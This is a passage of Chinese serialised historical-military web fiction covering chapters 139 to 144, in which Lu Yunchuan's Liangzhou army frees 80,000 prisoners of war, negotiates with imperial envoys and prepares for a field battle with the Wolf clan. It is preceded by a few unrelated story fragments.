说着,那名佣兵便将身上的⑧型外骨骼战衣的动力加载到极致,朝巨型蠕虫的尾部狂跑。 “好。整日窝在楼里也挺热的,改日咱们也该出去赏赏莲了”鸨儿重拾起筷子,敲了敲桌子,看来有了自己的盘算。 还是那句话,6七自认为还没伟大到那一步,见到任何事物都能生出悲悯之心,除了人类,没有任何种族会被他当做“同胞”来呵护。 “打工,钱呢!刚好老子赌输了,把钱给老子,老子现在去翻本。”,打斗终于停止,继父那双浑浊的眼睛在黑暗里发出兴奋的光。 江昊倒也并没有隐瞒的意思,随口便是将众人此行的目的说了出来,不过却并未言明这是灵兽宗派发的宗门任务,只是借故称灵兽宗看不惯此地流匪的不义之举,故而来此进行讨伐。 第一百三十九章 带你们回家! 从黑虎崖到鹰嘴峡,相隔长达五十余里,开山辟径,十分艰难。 然而,兵贵神速。 掘子军不眠不休,硬是在短短五天内,在崇山峻岭间开出了一条蜿蜒近百里的小路。 “陈将军,真是辛苦你们了。” 此刻,一座山坡之上,崔世军与陈世钊而立。 “人尽其职嘛。” 陈世钊叉腰苦笑,这几日来,五百掘子军的确劳累,“接下来的营救计划,得靠崔兄弟与刘堂主了,我们掘子军,力气已尽……” “报,崔老大,当家的有锦囊送到!” 刘马将一只锦囊送上山头。 崔世军赶忙接过锦囊,从中取出一封信件,扫了一眼,笑着感叹:“陆头儿真是运筹帷幄之中,决胜千里之外啊。” 他当即下令: “刘马,你让千目堂兄弟传令,以黑虎崖与悲鸣寺为据点,就着开辟的山间小道,向鹰嘴峡输送兵员与物资—— 咱们的撤退点,在距鹰嘴峡莫约三十里左右的黑河外滩,待所有人员撤离到至此,水师便会派遣船只前来接人; 按照陆头儿的计划,在逃亡撤离的这三十里山路,每相隔十里便要设置一处补给点,准备好充足的水,食物,铁蒺藜,弓箭,兵器,炸药……” 不错,这便是陆云川所想。 本次逃亡就好比一场“马拉松越野跑”,在沿途增设补给点,如此一来不但不用携带负重,还能持续提供能量与武器,用以抵抗追击的蛮军。 就算被蛮军穷追猛打,在山里爬坡也需要极大的体能,追兵应该不会有补给点吧? 用这一妙计,耗都能给蛮军耗死。 三日之后,傍晚时分。 两千凉州精兵,已全副武装,暗藏于鹰嘴峡对面山顶,只需沿着山坡往下五里,便可抵达峡谷山坳腹地的战俘营所在。 从山顶往下看,无数战俘被鞭策,正在埋头苦干。 “刘马,如今所有准备已充分,就差你安插的内应情报了,何时能送到?”崔世军问道。 “崔老大勿要着急,快了。” “这帮蛮子守备如此森严,我很好奇你是如何传递情报的?”崔世军问道。 “嘿嘿,实不相瞒,当家的也给了我锦囊妙计的。” 刘马忽然指了指鹰嘴峡旁边的一处山谷,“快瞧,情报已经来了。” 只见那山谷断崖上,两名战俘正抬着一具累死的战俘尸体,无情从崖口抛了下去。 “难道……” “没错,我们就是用尸体来传递情报的。” 刘马带着两名千目堂探子,从山顶向山坡迂回至那断崖下,从已被摔得血肉模糊尸体中,摸出一块折叠好的粗布。 粗布上用黑炭写着详细情报。 “今日三月二十,蛮军已分兵下山运粮,战俘营巡防图如示,巡哨一刻钟间断,四十个营具已做好准备,盼!盼!盼……” 三个“盼”字,犹如重拳,砸在了每个阅读此信人的心头。 崔世军望了一眼摔得血肉模糊的尸体,拳头攥得“咯咯”响,毅然决定道: “今夜子时,下山劫营!” …… 夜色如墨,冷风呼啸。 两千凉州精锐借着夜色潜行,每人背负十斤炒面、三柄朴刀,十枚铁蒺藜。 他们像一群无声的幽灵,贴着岩壁前进,连呼吸都压得极低。 一刻钟后。 众军摸索至山谷前哨。 一列百人组的蛮军,刚刚从哨口巡逻而过,突袭只能等待下一波。 远处,摇曳在风中的火把,映照出苦力营的木栅栏,八万战俘被关在里面,连续一个月的折磨,他们都已消瘦不堪,但今夜他们的颜色格外坚定。 “看。” 前哨守卫的几名蛮军,正大打着呵欠,靠着哨楼昏昏欲睡。 “等下一轮巡逻过后,先干掉他们!” “记住,我们的目标是救人,不是杀敌,动静越小越好。” “刘江,孙博,聂桐,你们随我摸过去!” “弓弩手准备,若我们暗杀失败,放箭补射;若动静闹得太大,一不做二不休,直接杀入营中。” 崔世军回头,目光如刀。 “明白!” 众人点头,低声应答。 弓弩手搭箭上弦,摆出战斗姿态。 如此又过了一刻钟。 第二波巡逻蛮兵从前哨掠过,待他们的身影消失过后,崔世军,刘江,孙博,聂桐,四人压着脚步迅速冲向哨楼。 两座哨塔很简陋,只有两层高。 当蛮兵听到动静时,四人早已摸上哨楼。 “有——” “噗呲!” 捂其口鼻,一刀封喉。 一刻钟后,若巡哨的蛮兵发现异常,势必会暴露。 快! 必须快! 崔世军扬了扬火把,后续精兵加速冲进战俘营。 “来了,凉州的救兵来了!” 战俘们看到形如鬼魅潜入而来的精兵,激动地低声暗吼。 “崔将军,我乃铁牢关戍边马军营偏将秦鸣……” “我是步军营偏将石勇……” “我是……” “好了,出去后再报家门儿,快快领兵器与食物,迅速填饱肚子,蛮军巡哨就要来了,瞒不了多久!” 崔世军与精兵们卸下朴刀与食物。 战俘们自知不能耽搁,抓起食物便往嘴里塞,噎得翻白眼都不肯停。 朴刀也已尽分战俘之手。 这时,哨口出传来惊呼: “哨兵死了!” “有情况!快通知将军……” 行动已然暴露! “点火为号,通知全营!” 崔世军取一只火把,烧燃了战俘营房屋。 滚滚浓烟冲天而起,火光闪亮了整个峡谷腹地。 “凉州救兵到了,兄弟们,往火光方向转移!” 瞬息之间,战俘营暴动! 求生的本能,仇恨的烈焰,激发无尽的动力! 战俘们卸掉房梁,操起木棍,甚至石头,如一只只地狱恶鬼,扑向各营外守备的蛮军。 蛮军被这突如其来的变故打得措手不及,即便有兵器护甲在手,可一个营也就一百蛮兵,面对数万人不要命的冲锋,难以招架! “没武器的,先顺着山道走,领到武器的,留下来与我一起断后!” 崔世军声音洪亮,挥刀大喊: “边军兄弟们,凉州袍泽来接你们回家啦!” 第一百四十章 逃离战俘营! “发生什么事了!” 蛮军大帐中,乌赤狐一把掀开被褥,从床榻上跳了下来。 “报!不好了,将军!” 蛮军斥候进账急报,“不知从哪儿杀出来一伙叛军,从西侧杀死了哨兵,全体战俘都已暴动,正在向深山里逃窜!” “呵……慌什么!” 乌赤狐冷冷一笑,“八万战俘,都只剩下半条命,他们还能跑了不成? 传我军令,迅速组织追兵,给我去追,追到的战俘,统统宰了!” “是!” 五千蛮军迅速出营,朝峡谷以西杀奔而去。 “蛮军来了!” 崔世军大喝,“刀斧手,掩护战俘转移,杀!” “杀啊!” 两千凉州精兵,外加一千名得了兵器的战俘,主动杀向蛮军。 “放箭!” “嗖嗖嗖……” “呯呯嘭嘭……” 双方互射,互有死伤,而后近身肉搏,刀剑相交。 厮杀声在峡谷中回荡,战俘营乱作一团! “老崔,战俘已差不多上了山坡,咱也差不多可以撤退了!” 刘江抹了一把脸上的血渍,毕竟此次营救是轻装上阵,而对面蛮军全副武装且有人数优势,不能死战! “丢烟雾弹,撤!” 崔世军与几十名精兵,纷纷扯下腰间的瓷罐,引燃后往蛮军阵中扔去。 “蛮夷,这是我凉州军赏你们的,接着!” “轰隆!” 瓷罐瞬间炸裂,除了硝烟之外,还有石灰与花椒粉,瞬间弥漫起一股呛鼻的浓雾。 “戴面罩,撤!” 精兵带着早已准备好的面罩,借着迷雾掩护,向西侧山坡撤退。 “咳咳咳……” 毫无防备的蛮军被呛得涕泪横流。 待浓雾被谷风吹散,崔世军等人已跑至百丈开外。 “他妈的,凉州狗,搞偷袭,耍花招,卑鄙无耻!” 乌赤狐一边揉眼睛一边破口大骂,挥舞弯刀便喊:“给老子去追,他们体力肯定不支!” 蛮军呼啸着往山坡上追逐! “将军,我……我们确实跑不动了……” 半山坡上,战俘们大喘着粗气,长期以来的营养不良,再加上剧烈攀爬,大多数人都已到了极限。 “兄弟们,命是自己的,再加把劲儿,山头上给你们准备了酒食的!” 有力气的凉州军,连拖带拽,扛着拉着战俘们,往山坡上继续走。 “扔铁蒺藜!” 人手十枚铁蒺藜,全部往山坡下抛去。 追击在前的蛮军,一个不留神便被刺穿了脚底,哀嚎往山坡下滚落。 大大减缓了追击速度! 有了这份宝贵的喘息时间,战俘们终于爬上山顶。 崔世军用刀掀开山顶旁一块油布,露出三口大木箱,用刀撬开箱子—— 一箱是加了蜂蜜的肉干,一箱是刀剑弓弩,另一箱则是炸药与燃烧瓶。 “饿了的兄弟,抓紧吃,都别抢了!” “有力气的兄弟,拿起刀剑与弓弩,跟我阻击山下追兵!” 如今战俘在山顶,蛮军在山下,战俘占据制高点的优势。 炸药,燃烧瓶,弓箭,乃至于石头,都能成为阻止敌方追击的武器! “放!” 各类火器与石头冲山顶扔下! “轰隆隆!” 爆炸激荡,尘土飞扬! 蛮军的被硬生生阻挡在了半山腰! “快躲避!” 乌赤狐只好下令,全军匍匐在山坡上,寻找碎石掩体躲藏。 补给点的武器弹药并不多,很快便投掷完毕,吃了些食物的战俘,也重新恢复了力气。 “兄弟们,继续往另一个山头进发,那里还有牛肉干,美酒等着你们呢!” “跑!” 跑! 拼命地跑! “追!给老子追!” 乌赤狐见山顶没了动静,再次号召蛮兵起身追逐。 到了第二个山头,依旧是三口大木箱,水食武器应有补给。 如此,翻翻覆覆,翻越了四个山头,战俘们越跑越有劲儿,蛮军追兵则越来越无力。 “不行啊将军,眼下已跑了二十里山路了,将士们连口水都没喝,都已……都已累的不行了……” 蛮军士卒,人人俱疲! “那也得给我继续追!” 乌赤狐甩了一把脸上的大汗,他已几乎疯狂。 “算了吧将军,再追下去,咱们体力便耗尽了,万一被敌人设伏,恐怕——” “你以为丢了八万战俘,我们还有活路么!” 乌赤狐呵断道:“眼下我们已无路可退,唯有回战俘,哪怕只有一小部分,才能保住脑袋!” “给我追!” “谁若敢退,当逃兵处置,定斩不饶!” 蛮军只能咬牙继续追击。 但事实上,他们连一小部分都不可能追得到。 等战俘翻到第七个山头时,蛮军还停留在第五个山头,双方拉开了至少十里。 “崔老大,这帮蛮子是不是傻啊,还在继续追。” 刘马站在山顶,望着两座山外,依旧亮起的火把。 “你丢了八万战俘,你也会追。” 崔世军从怀中摸出原先陆云川送来的锦囊,取出其中信封,下面还有一句话: “若蛮军穷追不舍,待其气力耗尽,可号召边战俘精锐,合力设伏于山林杀之。” “唉……我家陆头儿,真乃神人也。” 崔世军将信封烧成灰烬,这最后一计,便是转守为攻。他回头号召: “有把子力气的战俘兄弟都留下,身体虚弱的可随刘马先一步前往黑河外滩,咱们留在山头,全歼蛮军追兵!” “我留!” “我也留!” “老子身上有多少鞭子,便要砍那群蛮子多少刀!” 仇恨点燃怒火,热血注入脊椎,可战之兵数千,纷纷举刀响应。 “好!” 崔世军当即令道:“秦鸣将军,你领一千人埋伏山林左侧,石勇将军你领一千人埋伏右侧,刘江,孙博,你们领五百精兵潜伏在垭口,剩下的人与我留在山顶; 只要蛮军敢追击至包围圈,四方同时杀出,报仇雪恨!” “明白!” 第一百四十一章 八万边关儿郎 “将军,战俘连影子都不见了,算了吧……” “是啊,我们实在没力气了……” 四十余里山路奔袭下来,已有蛮军累得呕吐,由不动一点儿。 “唉!” 乌赤狐重叹一口气,将弯刀往地上狠狠一插,懊恼道:“有丢了八万战俘啊,这叫我如何与赫连将军交代?我命……不保啊!” 小兵确实不用怕,但主将失职,必死无疑。 乌赤狐望着黑漆漆的山路,心中甚至有了当逃兵的念头。 “撤吧,撤吧——” “既然尔等注定要死,不如就死在这深山中喂野狼!” 正在蛮军欲撤退之际,忽然山头四年亮起火光。 “放箭!” “嗖嗖嗖……” “兄弟们,报仇时刻已到!” “冲啊!” 带着愤怒的战俘,犹如排山倒海之势,冲山林中杀出。 血债自然要血来偿! 精疲力尽的蛮军,岂能有再战之力?一波冲锋下来便已死伤无数,剩下的丢盔弃甲想往回逃。 刘江,孙博早已埋伏在退路,如今蛮军只有两个选择,要么死战,要么从山崖跳下去! 绝不接受投降! 渐渐,夜尽天明。 响彻了半夜的厮杀声戛然而止。 接近五千蛮军,被全部围剿在深山之中! “走,外滩已备好船只,兄弟们,咱们回家!” 崔世军与最后一批战俘来到黑河外滩,天色已经大亮。 大小船只足足有上百艘,整整齐齐停靠在滩头,除了水师的战船,还有民用客船,打鱼的渔船,甚至连竹筏都有。 “我说张三儿,你在哪儿搞来这么多船?” 崔世军惊讶望着河边的船队规模。 张三儿从怀中摸出一支锦囊,笑道:“当家的生怕水师战船运力不足,因此号召了整个凉州的渔船,客货一起来帮忙, 老乡们一听是来接保家卫国的将士,家家户户,义不容辞,然后就来了这么多了。” “看来此次营救,是众望所归啊!” “好了,此地不宜久留,免得蛮军再调兵追击!” 战俘们依次上船,顺水而下,直奔凉州。 接到捷报的陆云川,带领凉州全城军民,夹道欢迎。 一寸山河一寸血,十万青年十万军。 保家卫国的英雄,何必以成败而论? 秦鸣与石勇等战俘,边走边抹眼泪,民族情怀在此时此刻体现得淋漓尽致。 “陆头儿,带回来了!” 崔世军傲然指了指身后的战俘。 “能干!” 陆云川竖起大拇指,赞美再多也是空话,陆云川昔日带出来的这些“原始股”们,没有一个是孬的! “城主……我们……” 秦鸣与石勇等边军军官相互对了个眼神,齐齐单膝跪地,“救命之恩,此生誓死相报!” “誓死相报!” 八万边关儿郎一片赤诚之心! “诸位将士快快请起。” 陆云川亲自将秦鸣等军官搀扶而起,“城中已备好水食与干净衣物,你们下去好好休整,恢复身体养足力气,来日才好跟随我驱除鞑虏,报仇雪恨。” “是!” 如此一来,又得精兵良将八万,凉州兵力已势不可当。 陆云川将边军整编重组,改用建制更全面的兵团制—— 虎骑军团,由周大彪担任主将,刘伟,秦鸣作为副将,总领凉州重甲铁骑兵; 豹骑军团,由宋康担任主将,黄涛以及众边军骁骑作为副将,总领凉州轻甲骑兵; 破甲军团,由钱无命作为主将,马山等人作为副将,总领凉州弓弩部队; 黑甲军团,由赵猛作为主将,石勇等边军步军武官作为副将,总领凉州陆战步兵; 朱雀军团,由王宝作为主将,原火器营众士作为副将,总领凉州火器扮作与配发; 掘子军团,由陈世钊作为主将,总领凉州奇袭部队; 玄武军团,由张三儿作为总督,高家兄弟作副将,徐三通作为参谋,总领大凉水师! 另外在白顶山上的青龙堂,白虎堂,霹雳堂,千目堂,匠作堂,鲁班堂,万马堂,故人庄,在制度不变的基础上继续扩建。 八个堂口在野,七个军团在朝,相互制衡,相辅相成,更方便陆云川大权在握,加强中央集权。 如此统算下来,陆云川手中已握有将近二十万大军,以凉州的生产力,是养不起这么多兵马的——开疆拓土,收复雍州,已迫在眉睫! 自凉州吸纳了边军战俘后,蛮国与大昭的战斗也逐渐停止了。 原本凉州兵力不足,只能以城据守,如今拥兵二十万,已经有了出征野战的能力。 换句通俗的话来讲,陆云川现已具备“掀桌子”的资格。 不论蛮国还是大昭,都对凉州势力忌惮。 谁都想做得利的渔翁,谁都不想做相争的鹬与蚌。 所以陆云川收到了两封信—— 一封来自蛮国,想联合凉州共同打击大昭,说日后拿下长安城,一起平分天下。 一封来自大昭,想联合凉州共同打击蛮国,好处是收复失地,朝廷封候拜将。 陆云川当然不会与蛮国联合。 若与蛮国合作,岂不成了跟孔嵩一样的民族败类? 若不得民心,将难以立足! 陆云川直接便焚毁了蛮国的书信。 “来人。” “城主有何吩咐。” “派人回复大昭军队,凉州愿意联合抗蛮。” “是!” 三日之后,大昭回信,说已派出使团奔赴凉州,商讨攻打蛮军的计划。 这种几十万人的大战役,的确不是一封书信便可确定,面对面商谈也是理所应当。 陆云川这边好像是挺缺乏文官的,唯一能上得了台面的也只有曾高中过进士的李良了。 因此本次面见来使,陆云川决定与李良一起。 “叔父,听说本次大昭派来的使节还是个大官儿,名字叫做沈钧,官至三品枢密院参事,您认识吗?” 云清宫大殿,陆云川问道。 “我一个偏远地方的七品县令,怎会认识京师来的三品天使?”李良摇了摇头。 “天屎?老天爷拉得屎么?” “是天子脚下的使者,故而尊称为‘天使’!” “哦……” 陆云川长长“哦”了一声,拉着李良便往殿上长椅摁坐,笑道: “叔父,待会儿你来代替我,以城主身份面见天使,我在旁边给你当副手。” 第一百四十二章 态度比较端正 “啊?贤侄这不是折煞我么?城主这位置,岂是什么人都能坐的?” 李良便要起身,陆云川再次将他摁下,“说那些话干嘛,我是你女婿,你坐中堂,我在一旁,合情合理。” “可对面来使……是三品大员呐,我如何与他自信?” “三品大员又如何?就算皇帝来了,也只配当座下之宾。” 陆云川拍了拍李良的肩膀,示意不用担心。 有句话叫做真人不露相。 大昭那边肯定不知道“凉州城主”长什么样,陆云川那就没必要显露太多锋芒。 “城主,大昭使团已过十里长亭了。” 千目堂探子进殿堂禀报。 “好,传令下去,让将士们都精神点,别丢份儿了!” “是!” …… 凉州城郊。 大昭使团刚过十里长亭。 马车外有两百名精兵护送,车内则坐着三个穿着官袍的中年人。 其中穿紫袍、留长须的半百老者,便是本次使团长使枢密院参事沈均,另两名副使为左松与王泉。 沈均撩开车窗,望着官道旁辛勤耕田的民夫,不禁暗道: “自进入凉州以来,沿途百姓悠然劳作,更见不到半个流民的身影……凉州,似乎并没有传闻中那么不堪……” “不过是做派罢了。” 左松说道:“哪回咱们出京到地方视察,那些地方官员不遣散流民,假意惺惺?” 王泉也搭腔道:“左大人说得极是,一伙土匪出身的叛军,趁着大昭与蛮国交战,窃取了一块州地,哼……还敢自称为‘城主’,实乃罪大恶极。” 沈均没有说话,轻轻放下窗帘,冲马车外催促: “加快速度进凉州。” “是!” 半个时辰后。 使团车队已来到凉城门口。 城门前铺设的大理石官道被洒扫得一尘不染,凉州兵马立于两侧,清一色的黑甲长枪,气宇轩昂,威风凛凛。 “王大人,这就是你口中所说的‘叛军’?” 沈均皱眉望着车外一列列士兵。 王权与左松大惊失色,他们都是京城下来的高官,是见识过禁军列阵的。 眼下这些凉州兵马,比禁军气势都不差了。 “三位使者,我家城主让我们领你们进城,请吧!” 周大彪与宋康带着一支卫队在前引路。 “肯定是将最好的兵马搬到了城门,想给我们一个下马威……”王泉暗自呢喃。 可等使团车队进了城,走在中央大街,两旁仍是全副武装的将士,各半丈便站一人,一眼望去都看不到头。 王泉终于擦汗了,“这伙叛军发迹也才不到半年,怎可能拥有这么带甲精兵……” “这凉州城主,不容小觑。” 沈均由衷叹息,眉头却愈发紧皱,叛军势力太大,对王朝可不是一件好事。 “停!” 忽然,使团车队被勒令停下。 “发生什么事了?” 左松撩开车窗问。 周大彪解释道:“我们城主为了整治凉州的嘈杂,特地设立了‘交通规则’,凡十字路口,每半刻钟便要限行,所有车马必须停下等待行人通过,方可继续前进。” 在那十字各路口边,分别站着两名衙役,一人举着红牌,一人举着绿牌。 红牌时车马停下,行人通行,绿牌时车马通行,行人停下。 街道车水马龙,交通却井然有序,道路干净整洁,商铺琳琅满目。 三个使者,面面相觑。 “这一新奇规则,倒是值得人学习……” 沈均由衷赞叹。 使团车队继续前进。 来到云清宫前。 “三位使者请下车,我家城主在大殿等候。”周大彪下马说道。 沈均等人便下了马车,步行进入云清宫。 “这宫殿如此之大,连顶轿子都不准备么,这城主也太不懂待客之道了。”王泉轻声抱怨。 可没等他话音落下,忽然一声象鸣从耳旁传来。 惊得三个使者一阵趔趄。 “咚,咚,咚……” 一头两丈来高的巨象漫步而来,而象背上骑着的,却只是个十来岁的小姑娘。 “我家先生知道诸位使者要来,特地命令我在此接你们!” 苏萍儿微微翘起下巴,又冲那大象命令了声:“莽莽,坐下!” 巨象前腿弯曲,听话跪了下来。 “三位使者,快快上象背,不用人搀扶吧?”苏萍儿挥手招呼道。 她一个小姑娘都敢骑,几个中年人岂能胆怯,沈均三人硬着头皮爬上了象背。 “莽莽,起!” 巨象骤然起身,没能抓稳的左松,差点儿掉下去。 苏萍儿斜了一眼背后的三个中年人,捂嘴偷偷笑了声,扯了扯缰绳,“莽莽,我们走。” 骑象来到大殿前。 下了象背的三人,腿都在打哆嗦。 “这凉州……真是一群妖魔鬼怪啊!”王泉叹道。 “行了,我们此次是为联合抗蛮而来,毕竟有求于人,当谨言慎行。” 沈均嘱咐了一句,理了理衣冠,与左松、王泉走进大殿。 殿中,李良正襟危坐,努力让自己严肃。 一旁的陆云川却十分从容。 沈均进殿后,先打量了一番李良,他们当然是没见过这位“城主”的,殿上这人年纪倒是挺像那么回事,可就是缺少点……王霸之气? “枢密使参军沈均,见过凉州城主。” 沈均三人,微微拘礼。 陆云川暗自点了点头,嗯,不错……这三名“天屎”的态度,要比昔日那个狗屁钦差端正得多。 “三位天……呃,请坐。” 李良毕竟当了二十年的县令,朝廷那一套还是没能改过来,差点儿便尊称人家为“天使”了。 眼下的商谈,并非上邦与下邦,而是国与国,有时候一个称呼,一种态度便会让性质完全不同。 若称呼沈均他们为“天使”,岂不是自降身份为下邦了? “坐就不必了,眼下战事吃紧,城主,我们还是直接谈正事吧?” 沈均开门见山道:“常言道‘非我族类,其心必异’,蛮国番邦抢夺雍州,已触怒天朝之威,作为中原民族,应当共同举兵伐之—— 在此,大昭希望凉州能出兵十万,与永兴军一同夹击蛮军,驱逐鞑奴,收复雍州,解救同胞!” 第一百四十三章 十万大军出凉州 “可以。” 李良欣然同意,这是早在信中便已讲明的,而后又问: “那战后呢?” 跟谁打仗不重要,重要的是赢了过后,能得到什么好处,如何瓜分利益? 沈均说道:“若凉州助大昭驱逐鞑奴,将是丰功伟绩,城主以往所犯的事,大昭王朝可以既往不咎,并且我还会上表朝廷,予以城主高官厚禄。” 这不是赤裸裸地想招安么? 李良瞥了一眼陆云川,从刚认下这贤侄起,他便提及过“招安”,以陆云川的野心,怎会甘愿沦为朝廷的走狗? 沈均见李良久久不言,忽然抬手指向城外,高声道:“方才我进城时,在城墙上看到一面‘替天行道’的大旗,可见城主内心是忠于大昭王朝的,只是被贪官污吏逼得走投无路,才不得已揭竿起义反叛; 我朝皇帝陛下,慷慨仁义,心胸开阔,不计前嫌,城主又有什么好犹豫的呢?” 果然是三品大员,嘴皮子就是利索。 “这……” 李良一时间不知所言,毕竟他是吃了二十年皇粮的人,他要真是城主,说不定便被沈均这一番慷慨的忠心之言所感动了。 陆云川站在一旁,算是看清楚,不是能言善辩之辈,也不敢派来出使凉州。 他上前一步,问道: “沈大人方才所言‘替天行道’是忠于朝廷,此话怎讲?” “大昭为天下正统王朝,当今皇帝陛下贵为天子,替天行道的岂不是侍奉君王么?”郑军反问道。 “当然不是。” 陆云川说道:“我这‘替天行道’的‘天’,是天下为公的天,是天下大同的天,是无法无天的天,与你所理解的什么天子,根本就不搭边儿; 更何况,苍生涂涂,每个人生来头顶都有一片天,为何非得就是那赵家天子的天呢?” “你这!” 沈均三人脸色大变。 “行了沈大人,本次咱们只谈外患,不谈内政。” 陆云川说道:“这样,凉州与大昭各举兵十万,凉州从北面进军,大昭从东面进军,两家共同夹击蛮军; 至于战后利益如何,就各凭本事吧,谁先占据雍州城,雍州便是谁的。” “凉州难道就真的没有丝毫归顺之意?”沈均板着脸问道。 “沈大人,方才都说了,不谈内政,你怎么又扯到这个话题上来了?” 陆云川声音渐冷,“谁占雍州不一样呢?反正我们都是中原人,同理,这‘天下’也一样。” “你——” “送客。” 懒得废话! 周大彪领着一支精兵走进大殿,指了指门口,声音逐客:“三位大人,请吧!” 沈均沉着脸色,甩袖退出大殿。 等出了云清宫,上了马车,左松才敢低声斥骂:“简直就是大逆不道!若非有异族大敌当前!岂能容他叛乱作孽!” 王泉轻哼,“我看这个城主也不如传闻,一副软弱无能的模样,注定成不了什么大事。” “那城主的确有些出乎意料,不过他身旁那个年轻人,年纪轻轻便谈吐犀利。” 沈均一声长叹,“唉……凉州,有人才啊。” “嘴上无毛之辈,办事岂能牢靠?” “等解决完了外患,下一个便轮到他们了!” “行了,都少说两句,联合抗蛮的目的已经达到,那年轻人说得对,战后各凭本事,接下来就看谁先攻破雍州城了。” “速回军营!” …… 大殿之内。 李良走下座位,“贤侄,永兴军常年据守北关,抗击北狄,军队实力不容小觑啊,你真有把握能先他们一步拿下雍州城?” “战局多变,谁又能知道呢?” 陆云川高声招呼:“来人。” “城主有何吩咐?” “传令下去,起马步兵十万,三日之后,挥师北伐!” “是!” …… 为了打好这场仗。 陆云川也穿上了战甲。 也是他第一次披甲,整整四十六斤重。 这一次挥师北伐雍州,不再是攻城战,也不是防御战,而是正儿八经的平原野战。 要骑兵冲锋,要步兵对攻,没有一丁点儿花架子。 “你始终要记住,你是城主,没必要去冲锋陷阵,还有……打不赢的话就逃跑,不丢人的……” 出征在即,李婉清依依不舍。 哪家女人,都不希望丈夫战死沙场。 “放心吧,我不会让你变成小寡妇的。” 就算陆云川要去打冲锋,身边也肯定会有重甲近卫,除非倒八辈子血霉,否则是死不了的。 那就不废话了,出征吧! 大昭历,安庆十六年夏,四月初七,陆云川统兵十万出凉州,沿黑河道向北推进,至此拉开了自割据一方以来,开疆拓土的第一步。 四月十二,五日之后。 凉州军进入雍州地境。 “报!” 千目堂斥候来报: “蛮军三十里外,沃野丘陵抵达扎营,共计十万军,看旗帜是狼图腾!” 狼图腾? 看来这次凉州军的对手是蛮国狼族,而大昭的对手是鹰族。 据边军武将所述,蛮国三大族中,狼族铁骑最为凶猛,在平原野战上极具优势。 “传令下去,沿黑河边扎三营,每营相隔五里,再在相距蛮军二十里,二十五里处扎两座空营; 掘子军挖陷马坑,鲁班堂修缮防御,水师派遣小船,沿黑河往上,与陆军斥候作前哨,一旦敌方有动静,即刻回来禀报!” “是!” 凉州军这边的优势,背靠黑河,有水师为后勤漕运,粮草辎重无忧。 营帐建好后。 陆云川坐在中军大帐,召所有战将聚于帐下。 “诸位多数都是边军武将出身,对于这狼族,有何见教?” 先知己知彼,方百战不殆。 “狼族是蛮国三大家族之一,其掌权家族为赫连氏,他们的马特别雄壮,故而骑兵非常勇猛,而且通狼性,还有一支狼骑部队,人能打,狼能咬,十分厉害……” “遇到狼族的铁甲重骑兵,能避战则避战,不能则以火箭攻击,或者拉扯迂回,是其马匹力竭再以兵破之……” “宋将军,你这套打法已经过时了,狼族除了重甲骑兵,还有轻甲骑兵,他们往往会从两翼包抄的……” “怕个鸟啊,兵对兵,将面将,王对王!平原决战,就靠两个字:勇猛!真枪真棒,刺刀见红!” 此话一听,便知道是周大彪这莽夫说的! 第一百四十四章 众将听令! “大彪,来日开战,你冲锋陷阵即可,至于战术如何,你还是在一旁听着比较好……” 陆云川掐着眉头说道。 帐下的这些武将,都是沙场边军出身,唯有周大彪只是个县尉。 当然,周大彪的实力绝对毋庸置疑,只是他比谁都要渴望一场战争来证明自己。 “好吧……” 周大彪挤了挤嘴角,自觉闪到一旁。 接下来众将便在帐中讨论—— 根据宋康等人的作战经验,狼国战术可以用四个字形容,那便是简单粗暴。 先用重骑兵正面进攻,再用轻骑兵两翼包抄。 重骑兵身披三层重甲,寻常箭矢难伤,轻骑兵灵活多变,善于袭扰。 而平原无险可守,只要被骑兵近身,纵使再有火药与重弩,也难以在第一时间脱身。 那么,如何抵御重甲骑兵,便是破敌制胜的关键。 原先在攻打孔家庄时,凉州军就曾攻破过“铁马连环阵”,战斗经验这方面肯定是充足的。 但攻打孔家庄时,只是几千人的交锋,而眼下是双方十几万人的史诗级大战,从准备到指挥,容不得半点纰漏。 陆云川望着摇曳的烛火,沉思了足足有半个时辰。 帐下众将默默站着,无一人敢出声打扰。 直至烛台燃尽的最后一刻,陆云川突然抬眸,眼中精光乍现: “众将听令!” “赵猛,黑甲军分三层,第一层,铁盾兵在前防御;第二层,斩马刀、钩镰枪立于盾后;第三层枪兵两百人为一团,结阵在后……” “周大彪,你领虎骑营列于步兵方阵之后……” “宋康,你领豹骑营分列军阵两侧……” “钱无命,你领穿甲军穿插于各军阵之间……” “王宝,你领朱雀军操控远程火攻……” “至于我么,手握‘杀手锏’在大后方压阵……” 陆云川重新点燃一根蜡烛,与帐下众将详细讨论作战细节。 直至染完三根蜡烛,天色也已深沉。 “好了,从明日开始,按照方才的排兵布阵抓紧操练,我们一定要赶在大昭军队之前,大败狼族,拿下雍州城!” “是!” “报——” 千目堂斥候冲进军帐:“城主,我们在先前您嘱咐所扎的空营附近,发现了狼族探子的踪迹!” 两军交战,互探敌情,也不奇怪。 “不必去追踪探子,暗伏几支精兵于空营外,再派几两支步兵巡逻,装作防守力量薄弱的样子,说不定狼族今夜便会来袭营。” “是!” 斥候应声退出大帐。 “钱无命,石勇,今夜便辛苦你们去守株待兔了;其余将军各回营寨,多增派防哨,加紧卫兵巡逻,免得后院失火。” “末将听令!” …… 此刻。 阴山北部的荒原上,蛮军兵营熙熙攘攘。 赫连超与蛮国众武将站在高耸的丘陵上,铁甲披风在寒风中咧咧作响, 他眯着眼睛,远眺二十里外那片隐约可见的火光,凉州军的先锋部队正在扎营。 "陆云川……"他低声念出这个名字,指节在弯刀金柄上缓缓摩挲,"一伙土匪发家的叛军,竟敢在平原与我狼族决战?狂妄……" "将军,探马回报!" 一名蛮军斥候爬上丘陵,单膝跪地禀报:“凉州十万大军,已在三十里外黑河边扎营,其中两座先锋营在前,最近据咱们只有二十里; 属下进去探查,发现军营防守力量薄弱,仅有几支卫兵巡逻,寨门也未曾搭建完成。” “哦?可真?!” 赫连超眼睛一亮。 “属下亲眼所见!” 蛮军斥候铿锵有力。 “哈哈!” 赫连超仰天大笑,“不愧是土匪出身,竟敢将营帐扎得这么近,二十里路,已在我轻骑横扫的范围之中了。” 他当即下令:“乌尔哈,你率五百轻骑兵,以棉布裹马脚,今夜奇袭敌方前锋营,放上一把火,给他们先来个下马威!” “末将听令!” 乌尔哈转身便要走下山坡。 “将军且慢。” 一名年轻将领皱眉走上前来,“凉州军主帅陆云川,足智多谋,善于用计……扎营这么靠前,又防守力量薄弱,恐怕有诈啊。” 赫连超与众武将回首凝望年轻将领,眼中都带着不屑。 “我当是谁,原来是萨武卒长啊。” 不错,年轻将领正是曾经被陆云川活捉又放走的萨武。 